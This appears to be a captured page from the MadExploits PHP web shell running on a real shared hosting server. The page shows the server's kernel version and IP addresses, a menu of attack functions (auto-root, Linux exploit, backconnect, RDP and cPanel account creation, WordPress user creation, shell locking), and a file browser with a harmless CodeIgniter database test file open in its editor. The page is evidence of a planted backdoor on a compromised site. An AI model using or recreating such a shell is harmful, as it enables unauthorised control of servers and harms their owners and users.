Linux host40.registrar-servers.com 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64
Apache
: 68.65.120.213 | : 216.73.217.2
Cant Read [ /etc/named.conf ]
7.4.33
trade
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
trade /
app.tradesense.co.ke /
tests /
database /
[ HOME SHELL ]
Name
Size
Permission
Action
ExampleDatabaseTest.php
1.15
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ExampleDatabaseTest.php
<?php use CodeIgniter\Test\CIUnitTestCase; use CodeIgniter\Test\DatabaseTestTrait; use Tests\Support\Database\Seeds\ExampleSeeder; use Tests\Support\Models\ExampleModel; /** * @internal */ final class ExampleDatabaseTest extends CIUnitTestCase { use DatabaseTestTrait; protected $seed = ExampleSeeder::class; public function testModelFindAll() { $model = new ExampleModel(); // Get every row created by ExampleSeeder $objects = $model->findAll(); // Make sure the count is as expected $this->assertCount(3, $objects); } public function testSoftDeleteLeavesRow() { $model = new ExampleModel(); $this->setPrivateProperty($model, 'useSoftDeletes', true); $this->setPrivateProperty($model, 'tempUseSoftDeletes', true); $object = $model->first(); $model->delete($object->id); // The model should no longer find it $this->assertNull($model->find($object->id)); // ... but it should still be in the database $result = $model->builder()->where('id', $object->id)->get()->getResult(); $this->assertCount(1, $result); } }
Close